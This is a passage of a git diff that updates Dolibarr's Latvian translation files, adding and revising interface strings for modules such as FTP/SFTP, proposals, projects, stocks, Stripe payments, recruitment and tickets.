      Sazinieties ar sistēmas administratoru, ja jūs vēlaties mainīt savu paroli. EnableGDLibraryDesc=Instalējiet vai iespējojiet GD bibliotēku savā PHP instalācijā, lai izmantotu šo opciju. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Rēķins %s ir apstiprināts. EMailTextInvoicePayed=Rēķins %s ir samaksāts. EMailTextProposalValidated=Priekšlikums %s ir apstiprināts. EMailTextProposalClosedSigned=Priekšlikums %s ir slēgts. +EMailTextProposalClosedSignedWeb=Priekšlikums %s ir slēgts, parakstīts portāla lapā. +EMailTextProposalClosedRefused=Priekšlikums %s ir slēgts, noraidīts. +EMailTextProposalClosedRefusedWeb=Priekšlikums %s ir slēgts, noraidīt portāla lapā. EMailTextOrderValidated=Pasūtījums %s ir apstiprināts. EMailTextOrderApproved=Pasūtījums %s ir apstiprināts. EMailTextOrderValidatedBy=Pasūtījums %s ir reģistrēts ar %s. @@ -311,10 +317,10 @@ ExternalSiteURL=HTML iframe satura ārējās vietnes URL ExternalSiteModuleNotComplete=Modulis ExternalSite nav pareizi konfigurēts. ExampleMyMenuEntry=Manas izvēlnes ieraksti -# FTP +# ftp FTPClientSetup=FTP vai SFTP klienta moduļa iestatīšana -NewFTPClient=Jauna FTP / FTPS savienojuma iestatīšana -FTPArea=FTP/FTPS sadaļa +NewFTPClient=Jauna FTP/SFTP savienojuma iestatīšana +FTPArea=FTP/SFTP apgabals FTPAreaDesc=Šajā ekrānā ir redzams FTP un SFTP servera skats. SetupOfFTPClientModuleNotComplete=Šķiet, ka FTP vai SFTP klienta moduļa iestatīšana ir nepilnīga FTPFeatureNotSupportedByYourPHP=Jūsu PHP neatbalsta FTP vai SFTP funkcijas @@ -325,3 +331,9 @@ FTPFailedToRemoveDir=Neizdevās noņemt direktoriju %s: pārbaudīt atļa FTPPassiveMode=Pasīvais režīms ChooseAFTPEntryIntoMenu=Izvēlnē izvēlieties FTP/SFTP vietni... FailedToGetFile=Neizdevās iegūt failus %s +ErrorFTPNodisconnect=Kļūda, atvienojot FTP/SFTP serveri +FileWasUpload=Fails %s tika augšupielādēts +FTPFailedToUploadFile=Neizdevās augšupielādēt failu %s . +AddFolder=Izveidot mapi +FileWasCreateFolder=Mape %s ir izveidota +FTPFailedToCreateFolder=Neizdevās izveidot mapi %s . diff --git a/htdocs/langs/lv_LV/partnership.lang b/htdocs/langs/lv_LV/partnership.lang index 48cc4282e13..b66900054af 100644 --- a/htdocs/langs/lv_LV/partnership.lang +++ b/htdocs/langs/lv_LV/partnership.lang @@ -20,6 +20,7 @@ ModulePartnershipName=Partnerības vadība PartnershipDescription=Partnerības vadības modulis PartnershipDescriptionLong= Partnerības vadības modulis Partnership=Partnerība +Partnerships=Partnerības AddPartnership=Pievienojiet partnerību CancelPartnershipForExpiredMembers=Partnerība: atceļ partnerību ar abonementiem, kuriem beidzies derīguma termiņš PartnershipCheckBacklink=Partnerība: pārbaudiet atsauces saiti @@ -28,6 +29,7 @@ PartnershipCheckBacklink=Partnerība: pārbaudiet atsauces saiti # Menu # NewPartnership=Jauna partnerība +NewPartnershipbyWeb=Your partnership request has been added successfully. We may contact you soon... ListOfPartnerships=Partnerības saraksts # diff --git a/htdocs/langs/lv_LV/paypal.lang b/htdocs/langs/lv_LV/paypal.lang index 50ff6da59c2..cba242cd825 100644 --- a/htdocs/langs/lv_LV/paypal.lang +++ b/htdocs/langs/lv_LV/paypal.lang @@ -34,3 +34,4 @@ ARollbackWasPerformedOnPostActions=Atkārtojums tika veikts visos Post darbībā ValidationOfPaymentFailed=Maksājuma apstiprināšana nav izdevies CardOwner=Kartes turētājs PayPalBalance=Paypal kredīts +OnlineSubscriptionPaymentLine=Tiešsaistes abonements reģistrēts %s
      Apmaksāts, izmantojot %s
      Sākotnējā IP adrese: %s a0342fccfdac49fec IDb8 diff --git a/htdocs/langs/lv_LV/productbatch.lang b/htdocs/langs/lv_LV/productbatch.lang index d9d60b4425b..c9f4aeae91e 100644 --- a/htdocs/langs/lv_LV/productbatch.lang +++ b/htdocs/langs/lv_LV/productbatch.lang @@ -17,6 +17,7 @@ printBatch=Lot/Serial: %s printEatby=Eat-by: %s printSellby=Pārdeva: %s printQty=Daudz.: %d +printPlannedWarehouse=Noliktava: %s AddDispatchBatchLine=Add a line for Shelf Life dispatching WhenProductBatchModuleOnOptionAreForced=Kad modulis Lot / Serial ir ieslēgts, automātiskais krājumu samazinājums ir spiests "Samazināt reālo krājumus kuģošanas apstiprinājumā", un automātiskais palielināšanas režīms ir spiests "Palielināt reālos krājumus, manuāli nosūtīt uz noliktavām" un tos nevar rediģēt. Citas iespējas var definēt pēc vajadzības. ProductDoesNotUseBatchSerial=Šis produkts neizmanto partijas/sērijas numuru @@ -43,3 +44,4 @@ HideLots=Slēpt daudz OutOfOrder=Nedarbojas InWorkingOrder=Darba kārtībā ToReplace=Aizvietot +CantMoveNonExistantSerial=Kļūda. Jūs lūdzat pārcelt uz ierakstu seriālam, kas vairs neeksistē. Iespējams, ka vienā sūtījumā vairākas reizes lietojat vienu un to pašu sēriju vienā noliktavā, vai arī to izmantoja cits sūtījums. Izņemiet šo sūtījumu un sagatavojiet citu. diff --git a/htdocs/langs/lv_LV/products.lang b/htdocs/langs/lv_LV/products.lang index 161b4bbebb0..8227724b700 100644 --- a/htdocs/langs/lv_LV/products.lang +++ b/htdocs/langs/lv_LV/products.lang @@ -345,7 +345,7 @@ PossibleValues=Iespējamās vērtības GoOnMenuToCreateVairants=Iet uz izvēlni %s - %s, lai sagatavotu atribūtu variantus (piemēram, krāsas, izmērs, ...) UseProductFournDesc=Pievienojiet līdzekli, lai definētu produkta aprakstu, ko definējuši piegādātāji (katrai pārdevēja atsaucei) papildus aprakstam klientiem ProductSupplierDescription=Produkta pārdevēja apraksts -UseProductSupplierPackaging=Izmantojiet iepakojumu uz piegādātāju cenām (pārrēķiniet daudzumus atbilstoši iepakojumam, kas noteikts pēc piegādātāja cenas, pievienojot / atjauninot rindiņu piegādātāja dokumentos) +UseProductSupplierPackaging=Izmantojiet iepakojumu cenām, kas noapaļotas līdz pirkuma cenu reizinātājiem (pārrēķiniet daudzumus atbilstoši pirkuma cenām iestatītajiem reizinātājiem, pievienojot/atjauninot rindu piegādātāja dokumentos) PackagingForThisProduct=Iepakojums PackagingForThisProductDesc=Jūs automātiski iegādāsities vairākus no šī daudzuma. QtyRecalculatedWithPackaging=Līnijas daudzums tika pārrēķināts atbilstoši piegādātāja iesaiņojumam @@ -399,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Darbība pieejama tikai produkta variantam ProductsPricePerCustomer=Produktu cenas uz vienu klientu ProductSupplierExtraFields=Papildu atribūti (piegādātāju cenas) DeleteLinkedProduct=Izdzēsiet kombinēto produktu, kas saistīts ar to -AmountUsedToUpdateWAP=Summa, kas jāizmanto vidējās svērtās cenas atjaunināšanai +AmountUsedToUpdateWAP=Vienības summa, kas jāizmanto, lai atjauninātu vidējo svērto cenu PMPValue=Vidējā svērtā cena PMPValueShort=VSC mandatoryperiod=Obligātie periodi @@ -416,6 +416,7 @@ ProductsMergeSuccess=Produkti ir apvienoti ErrorsProductsMerge=Kļūdas produktos saplūst SwitchOnSaleStatus=Ieslēgt pārdošanas statusu SwitchOnPurchaseStatus=Ieslēdziet pirkuma statusu +UpdatePrice=Palielināt/samazināt klientu cenu StockMouvementExtraFields= Papildu lauki (akciju kustība) InventoryExtraFields= Papildu lauki (inventārs) ScanOrTypeOrCopyPasteYourBarCodes=Skenējiet ierakstiet vai kopējiet/ielīmējiet savus svītrkodus @@ -427,3 +428,4 @@ RealValuation=Reālā vērtēšana ConfirmEditExtrafield = Atlasiet papildu lauku, kuru vēlaties modificēt ConfirmEditExtrafieldQuestion = Vai tiešām vēlaties modificēt šo papildu lauku? ModifyValueExtrafields = Mainīt ekstralauka vērtību +OrProductsWithCategories=Vai produkti ar tagiem/kategorijām diff --git a/htdocs/langs/lv_LV/projects.lang b/htdocs/langs/lv_LV/projects.lang index e9771d9d624..b49871842ac 100644 --- a/htdocs/langs/lv_LV/projects.lang +++ b/htdocs/langs/lv_LV/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Šo viedokli iepazīstina visus projektus un uzdevumus, jums ir TasksDesc=Šo viedokli iepazīstina visus projektus un uzdevumus (jūsu lietotāja atļaujas piešķirt jums atļauju skatīt visu). AllTaskVisibleButEditIfYouAreAssigned=Visi uzdevumi kvalificētiem projektiem ir redzami, taču jūs varat ievadīt laiku tikai tam uzdevumam, kas piešķirts izvēlētajam lietotājam. Piešķirt uzdevumu, ja uz to ir jāievada laiks. OnlyYourTaskAreVisible=Ir redzami tikai jums piešķirtie uzdevumi. Ja jums jāievada uzdevuma izpildes laiks un ja uzdevums šeit nav redzams, jums tas jāpiešķir sev. +ImportDatasetProjects=Projekti vai iespējas ImportDatasetTasks=Projektu uzdevumi ProjectCategories=Projekta tagi / sadaļas NewProject=Jauns projekts @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Sasaistīto projektu skaits pēc statusa OpportunitiesStatusForProjects=Sasniedz projektu skaitu pēc statusa ShowProject=Rādīt projektu ShowTask=Rādīt uzdevumu +SetThirdParty=Iestatiet trešo pusi SetProject=Izvēlēties projektu +OutOfProject=Ārpus projekta NoProject=Neviens projekts nosaka, vai īpašumā NbOfProjects=Projektu skaits NbOfTasks=Uzdevumu skaits @@ -122,7 +125,8 @@ ValidateProject=Apstiprināt projektu ConfirmValidateProject=Vai jūs tiešām vēlaties apstiprināt šo projektu? CloseAProject=Aizvērt projektu ConfirmCloseAProject=Vai tiešām vēlaties aizvērt šo projektu? -AlsoCloseAProject=Arī aizveriet projektu (atstājiet to atvērtu, ja jums joprojām ir jāievēro ražošanas uzdevumi) +AlsoCloseAProject=Arī slēgt projektu +AlsoCloseAProjectTooltip=Saglabājiet to atvērtu, ja jums joprojām ir jāseko tajā esošajiem ražošanas uzdevumiem ReOpenAProject=Atvērt projektu ConfirmReOpenAProject=Vai tiešām vēlaties atvērt šo projektu vēlreiz? ProjectContact=Projekta kontakti @@ -165,7 +169,7 @@ OpportunityProbability=Svina varbūtība OpportunityProbabilityShort=Svina probabs. OpportunityAmount=Svina daudzums OpportunityAmountShort=Svina summa -OpportunityWeightedAmount=Iespēju svērtā summa +OpportunityWeightedAmount=Iespējas apjoms, svērts ar varbūtību OpportunityWeightedAmountShort=Opp. svērtā summa OpportunityAmountAverageShort=Vidējā svina summa OpportunityAmountWeigthedShort=Svērtā svina summa @@ -238,7 +242,7 @@ OppStatusPENDING=Gaida OppStatusWON=Uzvarēja OppStatusLOST=Zaudēja Budget=Budžets -AllowToLinkFromOtherCompany=Ļaut sasaistīt projektu no cita uzņēmuma

      Atbalstītās vērtības:
      - Saglabāt tukšu: var saistīt jebkuru uzņēmuma projektu (noklusējums)
      - "viss": var saistīt visi projekti, pat citu uzņēmumu projekti
      - Trešo personu ID saraksts, kas atdalīts ar komatiem: var saistīt visus šo trešo pušu projektus (piemērs: 123,4795,53)
      +AllowToLinkFromOtherCompany=Ļauj saistīt elementu ar cita uzņēmuma projektu

      Atbalstītās vērtības:
      - Palikt tukšu: var saistīt elementus ar jebkuru uzņēmumu ar jebkuriem projektiem, pat 4b2ult projektiem ar to pašu saiti. citu uzņēmumu projekti
      — ar komatiem atdalītu trešo pušu ID saraksts: var saistīt elementus ar jebkuriem šo trešo pušu projektiem (piemērs: 123,4795,53)
      LatestProjects=Pēdējie %s projekti LatestModifiedProjects=Jaunākie %s labotie projekti OtherFilteredTasks=Citi filtrētie uzdevumi @@ -255,11 +259,12 @@ RecordsClosed=%s projekts (-i) slēgts SendProjectRef=Informācijas projekts %s ModuleSalaryToDefineHourlyRateMustBeEnabled=Modulam „Algas” ir jābūt iespējai noteikt darbinieku stundas likmi, lai varētu izmantot laiku NewTaskRefSuggested=Jau izmantotais uzdevums ir nepieciešams jauns uzdevums +NumberOfTasksCloned=%s uzdevums(-i) ir klonēti TimeSpentInvoiced=Norēķinātais laiks TimeSpentForIntervention=Laiks, kas patērēts TimeSpentForInvoice=Laiks, kas patērēts OneLinePerUser=Viena līnija katram lietotājam -ServiceToUseOnLines=Service to use on lines +ServiceToUseOnLines=Pakalpojums, kas pēc noklusējuma jāizmanto līnijās InvoiceGeneratedFromTimeSpent=Rēķins %s ir radīts no projekta pavadīta laika InterventionGeneratedFromTimeSpent=Intervence %s ir izveidota no projektam pavadītā laika ProjectBillTimeDescription=Pārbaudiet, vai projekta uzdevumos ievadāt laika kontrolsarakstu UN Plānojat no laika kontrolsaraksta ģenerēt rēķinu (rēķinus), lai projekta klientam izrakstītu rēķinu (nepārbaudiet, vai plānojat izveidot rēķinu, kas nav balstīts uz ievadītajām laika kontrollapām). Piezīme. Lai ģenerētu rēķinu, dodieties uz projekta cilni “Pavadītais laiks” un atlasiet iekļaujamās līnijas. @@ -282,7 +287,7 @@ ProfitIsCalculatedWith=Peļņa tiek aprēķināta, izmantojot AddPersonToTask=Pievienojiet arī uzdevumiem UsageOrganizeEvent=Lietošana: Pasākumu organizēšana PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Klasificējiet projektu kā slēgtu, kad visi tā uzdevumi ir izpildīti (progress 100%%) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Piezīme: esošie projekti ar visiem 100%% uzdevumiem netiks ietekmēti: tie būs jāaizver manuāli. Šī opcija ietekmē tikai atvērtos projektus. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Piezīme: esošie projekti, kuru uzdevumi jau ir iestatīti uz progresu 100%%, netiks ietekmēti: tie būs jāaizver manuāli. Šī opcija ietekmē tikai atvērtos projektus. SelectLinesOfTimeSpentToInvoice=Atlasiet pavadītās laika rindas, kas nav izrakstītas, un pēc tam veiciet lielapjoma darbību “Ģenerēt rēķinu”, lai par tām izrakstītu rēķinus ProjectTasksWithoutTimeSpent=Projekta uzdevumi bez pavadīta laika FormForNewLeadDesc=Paldies, ka aizpildījāt šo veidlapu, lai sazinātos ar mums. Varat arī nosūtīt mums e-pastu tieši uz %s . @@ -294,3 +299,4 @@ EnablePublicLeadForm=Iespējojiet publisko saziņas veidlapu NewLeadbyWeb=Jūsu ziņojums vai pieprasījums ir ierakstīts. Mēs drīzumā atbildēsim vai sazināsimies ar jums. NewLeadForm=Jauna kontaktu forma LeadFromPublicForm=Tiešsaistes potenciāls no publiskās veidlapas +ExportAccountingReportButtonLabel=Saņemt atskaiti diff --git a/htdocs/langs/lv_LV/propal.lang b/htdocs/langs/lv_LV/propal.lang index 1727bbc79c8..888aa06748e 100644 --- a/htdocs/langs/lv_LV/propal.lang +++ b/htdocs/langs/lv_LV/propal.lang @@ -65,49 +65,54 @@ AvailabilityPeriod=Pieejamība kavēšanās SetAvailability=Uzstādīt pieejamību kavēšanos AfterOrder=pēc pasūtījuma OtherProposals=Citi priekšlikumi + ##### Availability ##### AvailabilityTypeAV_NOW=Nekavējoties AvailabilityTypeAV_1W=1 nedēļa AvailabilityTypeAV_2W=2 nedēļas AvailabilityTypeAV_3W=3 nedēļas AvailabilityTypeAV_1M=1 mēnesis -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Pārstāvis turpinot darboties priekšlikums TypeContact_propal_external_BILLING=Klientu rēķinu kontakts TypeContact_propal_external_CUSTOMER=Klientu kontaktu turpinot darboties priekšlikums TypeContact_propal_external_SHIPPING=Klienta kontaktpersona piegādei + # Document models -DocModelAzurDescription=Pilns piedāvājuma modelis (vecā ciāna veidnes ieviešana) -DocModelCyanDescription=Pilns piedāvājuma paraugs -DefaultModelPropalCreate=Noklusējuma modeļa izveide -DefaultModelPropalToBill=Noklusējuma veidne aizverot uzņēmējdarbības priekšlikumu (tiks izrakstīts rēķins) -DefaultModelPropalClosed=Noklusējuma veidne aizverot uzņēmējdarbības priekšlikumu (unbilled) -ProposalCustomerSignature=Written acceptance, company stamp, date and signature -ProposalsStatisticsSuppliers=Pārdevēja priekšlikumi statistikai -CaseFollowedBy=Lieta seko -SignedOnly=Tikai parakstīts -NoSign=Komplekts nav parakstīts -NoSigned=komplekts nav parakstīts CantBeNoSign=nevar iestatīt neparakstīts +CaseFollowedBy=Lieta seko ConfirmMassNoSignature=Lielapjoma Nav parakstīts apstiprinājums ConfirmMassNoSignatureQuestion=Vai tiešām vēlaties iestatīt neparakstītos atlasītos ierakstus? -IsNotADraft=nav melnraksts -PassedInOpenStatus=ir apstiprināts -Sign=Pierakstīties -Signed=parakstīts -ConfirmMassValidation=Lielapjoma Apstiprinājums ConfirmMassSignature=Lielapjoma paraksta apstiprināšana -ConfirmMassValidationQuestion=Vai tiešām vēlaties apstiprināt atlasītos ierakstus? ConfirmMassSignatureQuestion=Vai tiešām vēlaties parakstīt atlasītos ierakstus? -IdProposal=Priekšlikuma ID +ConfirmMassValidation=Lielapjoma Apstiprinājums +ConfirmMassValidationQuestion=Vai tiešām vēlaties apstiprināt atlasītos ierakstus? +ConfirmRefusePropal=Vai tiešām vēlaties noraidīt šo komerciālo piedāvājumu? +ContractSigned=Līgums parakstīts +DefaultModelPropalClosed=Noklusējuma veidne aizverot uzņēmējdarbības priekšlikumu (unbilled) +DefaultModelPropalCreate=Noklusējuma modeļa izveide +DefaultModelPropalToBill=Noklusējuma veidne aizverot uzņēmējdarbības priekšlikumu (tiks izrakstīts rēķins) +DocModelAzurDescription=Pilns piedāvājuma modelis (vecā ciāna veidnes ieviešana) +DocModelCyanDescription=Pilns piedāvājuma paraugs +FichinterSigned=Iejaukšanās parakstīta IdProduct=Produkta ID +IdProposal=Priekšlikuma ID +IsNotADraft=nav melnraksts LineBuyPriceHT=Pirkt cenu Summa bez nodokļiem līnijai -SignPropal=Pieņemt priekšlikumu +NoSign=Atteikt +NoSigned=komplekts nav parakstīts +PassedInOpenStatus=ir apstiprināts +PropalAlreadyRefused=Priekšlikums jau noraidīts +PropalAlreadySigned=Priekšlikums jau pieņemts +PropalRefused=Priekšlikums noraidīts +PropalSigned=Priekšlikums pieņemts +ProposalCustomerSignature=Written acceptance, company stamp, date and signature +ProposalsStatisticsSuppliers=Pārdevēja priekšlikumi statistikai RefusePropal=Atteikt priekšlikumu Sign=Pierakstīties -NoSign=Komplekts nav parakstīts -PropalAlreadySigned=Priekšlikums jau pieņemts -PropalAlreadyRefused=Priekšlikums jau noraidīts -PropalSigned=Priekšlikums pieņemts -PropalRefused=Priekšlikums noraidīts -ConfirmRefusePropal=Vai tiešām vēlaties noraidīt šo komerciālo piedāvājumu? +SignContract=Parakstiet līgumu +SignFichinter=Parakstīt iejaukšanās +SignPropal=Pieņemt priekšlikumu +Signed=parakstīts +SignedOnly=Tikai parakstīts diff --git a/htdocs/langs/lv_LV/receptions.lang b/htdocs/langs/lv_LV/receptions.lang index 55e7edf3314..bef54c7c963 100644 --- a/htdocs/langs/lv_LV/receptions.lang +++ b/htdocs/langs/lv_LV/receptions.lang @@ -32,6 +32,7 @@ StatusReceptionDraftShort=Melnraksts StatusReceptionValidatedShort=Apstiprināts StatusReceptionProcessedShort=Apstrādāts ReceptionSheet=Uzņemšanas lapa +ValidateReception=Apstipriniet uzņemšanu ConfirmDeleteReception=Vai tiešām vēlaties dzēst šo uztveršanu? ConfirmValidateReception=Vai tiešām vēlaties apstiprināt šo saņemšanu ar atsauci %s ? ConfirmCancelReception=Vai tiešām vēlaties atcelt šo uzņemšanu? @@ -48,7 +49,6 @@ ReceptionsNumberingModules=Pieņemšanas numurēšanas modulis ReceptionsReceiptModel=Pieņemšanas dokumentu veidnes NoMorePredefinedProductToDispatch=Vairs nav iepriekš nosūtītu produktu ReceptionExist=Reģistratūra pastāv -ByingPrice=Pirkšanas cena ReceptionBackToDraftInDolibarr=Saņemšana %s atpakaļ uz melnrakstu ReceptionClassifyClosedInDolibarr=Reģistratūra %s klasificēta Slēgta ReceptionUnClassifyCloseddInDolibarr=Reģistratūra %s atkal tiek atvērta diff --git a/htdocs/langs/lv_LV/recruitment.lang b/htdocs/langs/lv_LV/recruitment.lang index cd80719e8cd..767e232bb99 100644 --- a/htdocs/langs/lv_LV/recruitment.lang +++ b/htdocs/langs/lv_LV/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=E-pasta vervētājs ToUseAGenericEmail=Lai izmantotu vispārīgu e-pastu. Ja tas nav noteikts, tiks izmantots e-pasts, kas atbildīgs par personāla atlasi NewCandidature=Jauna lietojumprogramma ListOfCandidatures=Lietojumprogrammu saraksts -RequestedRemuneration=Pieprasītā atlīdzība -ProposedRemuneration=Piedāvātā atlīdzība +Remuneration=Alga +RequestedRemuneration=Pieprasītā alga +ProposedRemuneration=Piedāvātā alga ContractProposed=Piedāvātais līgums ContractSigned=Parakstīts līgums ContractRefused=Līgums atteikts RecruitmentCandidature=Pieteikums JobPositions=Darba pozīcijas RecruitmentCandidatures=Pieteikumi -InterviewToDo=Intervija, kas jādara +InterviewToDo=Kontakti, kam sekot AnswerCandidature=Pieteikuma atbilde YourCandidature=Jūsu pieteikums YourCandidatureAnswerMessage=Paldies par jūsu pieteikumu.
      ... diff --git a/htdocs/langs/lv_LV/salaries.lang b/htdocs/langs/lv_LV/salaries.lang index 1f2a1de754e..fc725cf2cbb 100644 --- a/htdocs/langs/lv_LV/salaries.lang +++ b/htdocs/langs/lv_LV/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Grāmatvedības konts, ko izmanto trešām pusēm -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Lietotāja kartē norādītais grāmatvedības konts tiks izmantots tikai pakārtotajam grāmatvedim. Šis viens tiks izmantots General Ledger un noklusējuma vērtība Subledged grāmatvedībai, ja lietotāja definēts lietotāju grāmatvedības konts nav definēts. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Konts (no kontu plāna), ko pēc noklusējuma izmanto "lietotāja" trešajām pusēm +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Lietotāja kartē norādītais speciālais konts tiks izmantots tikai Apakšgrāmatas uzskaitei. Šis tiks izmantots Virsgrāmatai un kā apakšvirsgrāmatas uzskaites noklusējuma vērtība, ja lietotājam nav definēts īpašs lietotāja uzskaites konts. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Grāmatvedības konts pēc noklusējuma algu maksājumiem CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Pēc noklusējuma, veidojot algu, atstājiet tukšu opciju "Automātiski izveidot kopējo maksājumu" Salary=Alga diff --git a/htdocs/langs/lv_LV/stocks.lang b/htdocs/langs/lv_LV/stocks.lang index 7391a084ec1..9abb3ea35ac 100644 --- a/htdocs/langs/lv_LV/stocks.lang +++ b/htdocs/langs/lv_LV/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=Datums nākotnē StocksByLotSerial=Krājumi pēc partijas/sērijas LotSerial=Daudz / sērijas nr LotSerialList=Partijas saraksts / sērijas nr +SubjectToLotSerialOnly=Produkti, uz kuriem attiecas tikai partija/sērija Movements=Kustības ErrorWarehouseRefRequired=Noliktava nosaukums ir obligāts ListOfWarehouses=Saraksts noliktavās @@ -48,7 +49,7 @@ StockCorrection=Krājumu korekcija CorrectStock=Labot krājumus StockTransfer=Krājumu pārvietošana TransferStock=Pārvietot krājumus -MassStockTransferShort=Masveida krājumu pārvietošana +MassStockTransferShort=Lielapjoma krājumu maiņa StockMovement=Krājumu pārvietošana StockMovements=Krājumu pārvietošanas NumberOfUnit=Vienību skaits @@ -146,8 +147,9 @@ Replenishments=Papildinājumi NbOfProductBeforePeriod=Produktu daudzums %s noliktavā pirms izvēlētā perioda (< %s) NbOfProductAfterPeriod=Produktu daudzums %s krājumā pēc izvēlētā perioda (>%s) MassMovement=Masveida pārvietošana -SelectProductInAndOutWareHouse=Atlasiet avota noliktavu un mērķa noliktavu, produktu un daudzumu, pēc tam noklikšķiniet uz "%s". Kad tas ir izdarīts visām nepieciešamajām kustībām, noklikšķiniet uz "%s". +SelectProductInAndOutWareHouse=Atlasiet avota noliktavu (neobligāti), mērķa noliktavu, produktu un daudzumu, pēc tam noklikšķiniet uz "%s". Kad tas ir izdarīts visām nepieciešamajām kustībām, noklikšķiniet uz "%s". RecordMovement=Ierakstīt pārvietošanu +RecordMovements=Reģistrēt krājumu kustību ReceivingForSameOrder=Kvītis par šo pasūtījumu StockMovementRecorded=Krājumu pārvietošana saglabāta RuleForStockAvailability=Noteikumi krājumu nepieciešamībai @@ -234,7 +236,7 @@ StockIncrease=Krājumu pieaugums StockDecrease=Krājumu samazinājums InventoryForASpecificWarehouse=Inventārs konkrētai noliktavai InventoryForASpecificProduct=Inventārs konkrētam produktam -StockIsRequiredToChooseWhichLotToUse=Lai izvēlētos izmantojamo partiju, ir nepieciešami krājumi +StockIsRequiredToChooseWhichLotToUse=Esošs krājums ir nepieciešams, lai varētu izvēlēties, kuru partiju izmantot ForceTo=Piespiest līdz AlwaysShowFullArbo=Parādiet pilnu noliktavas koku uznirstošajās noliktavu saitēs (Brīdinājums: tas var dramatiski samazināt veiktspēju) StockAtDatePastDesc=Šeit varat apskatīt krājumus (reālos krājumus) noteiktā datumā pagātnē @@ -270,7 +272,7 @@ InventoryStartedShort=Sākts ErrorOnElementsInventory=Operācija tika atcelta šāda iemesla dēļ: ErrorCantFindCodeInInventory=Krājumā nevar atrast šādu kodu QtyWasAddedToTheScannedBarcode=Veiksmi!! Daudzums tika pievienots visam pieprasītajam svītrkodam. Varat aizvērt skenera rīku. -StockChangeDisabled=Izmaiņas krājumā ir atspējotas +StockChangeDisabled=Krājumu maiņa ir atspējota NoWarehouseDefinedForTerminal=Terminālim nav noteikta noliktava ClearQtys=Notīriet visus daudzumus ModuleStockTransferName=Uzlabota akciju pārsūtīšana diff --git a/htdocs/langs/lv_LV/stripe.lang b/htdocs/langs/lv_LV/stripe.lang index 38fac068250..d272c1902ed 100644 --- a/htdocs/langs/lv_LV/stripe.lang +++ b/htdocs/langs/lv_LV/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhokas tiešraides atslēga ONLINE_PAYMENT_WAREHOUSE=Krājums, ko izmanto, lai krājumu samazinātu, kad tiek veikts tiešsaistes maksājums
      (TODO Kad iespēja samazināt akciju tiek veikta, veicot darbību rēķinā, un tiešsaistes maksājums pats par sevi sagatavo rēķinu?) StripeLiveEnabled=Ieslēgta josla dzīvot (citādi tests / smilškastē režīms) StripeImportPayment=Importēšanas joslas maksājumi -ExampleOfTestCreditCard=Kredītkartes paraugs testam: %s => derīgs, %s => kļūda CVC, %s => beidzies, %s => maksa neizdodas +ExampleOfTestCreditCard=Kredītkartes piemērs SEPA pārbaudei: %s => derīga, %s => kļūda CVC, %s => beidzies derīguma termiņš, %s => maksājums neizdodas +ExampleOfTestBankAcountForSEPA=Bankas konta BAN piemērs tiešā debeta pārbaudei: %s StripeGateways=Joslas vārti OAUTH_STRIPE_TEST_ID=Stripe Connect klienta ID (ca _...) OAUTH_STRIPE_LIVE_ID=Stripe Connect klienta ID (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Dzēst karti ConfirmDeleteCard=Vai tiešām vēlaties izdzēst šo kredītkarti vai debetkarti? CreateCustomerOnStripe=Izveidojiet klientu joslā CreateCardOnStripe=Izveidojiet karti joslā +CreateBANOnStripe=Izveidojiet banku vietnē Stripe ShowInStripe=Rādīt joslā StripeUserAccountForActions=Lietotāja konts, lai izmantotu e-pasta paziņojumu par dažiem Stripe notikumiem (Stripe izmaksas) StripePayoutList=Svītru izmaksu saraksts @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=Saite uz iestatījumu Stripe WebHook, lai izsauktu IP PaymentWillBeRecordedForNextPeriod=Maksājums tiks reģistrēts par nākamo periodu. ClickHereToTryAgain=Noklikšķiniet šeit, lai mēģinātu vēlreiz ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Stingro klientu autentifikācijas noteikumu dēļ karte jāizveido no Stripe biroja. Jūs varat noklikšķināt šeit, lai ieslēgtu Stripe klientu ierakstu: %s +STRIPE_CARD_PRESENT=Stripe termināļiem paredzēta karte +TERMINAL_LOCATION=Stripe Terminals atrašanās vieta (adrese). +RequestDirectDebitWithStripe=Pieprasiet tiešo debetu, izmantojot Stripe +STRIPE_SEPA_DIRECT_DEBIT=Iespējojiet tiešā debeta maksājumus, izmantojot Stripe + diff --git a/htdocs/langs/lv_LV/ticket.lang b/htdocs/langs/lv_LV/ticket.lang index e376d2dbb4f..0d707ad1495 100644 --- a/htdocs/langs/lv_LV/ticket.lang +++ b/htdocs/langs/lv_LV/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Labot pieteikumus Permission56003=Dzēst pieteikumus Permission56004=Pieteikumu pārvaldīšana Permission56005=Skatīt visu trešo pušu biļetes (nav efektīvas ārējiem lietotājiem, vienmēr aprobežojas ar trešajām personām, no kurām tie ir atkarīgi) +Permission56006=Eksporta biļetes +Tickets=Pieteikumi TicketDictType=Pieteikumu veids TicketDictCategory=Pieteikumu - grupas TicketDictSeverity=Pieteikuma svarīgums @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Ārējais ieguldītājs OriginEmail=Reportiera e-pasts Notify_TICKET_SENTBYMAIL=Sūtīt biļeti pa e-pastu +ExportDataset_ticket_1=Pieteikumi + # Status Read=Lasīt Assigned=Piešķirts @@ -90,8 +94,8 @@ TicketPublicAccess=Publiska saskarne, kurai nav nepieciešama identifikācija, i TicketSetupDictionaries=Pieteikumu, svarīgums un analītiskie kodi ir konfigurējami no vārdnīcās 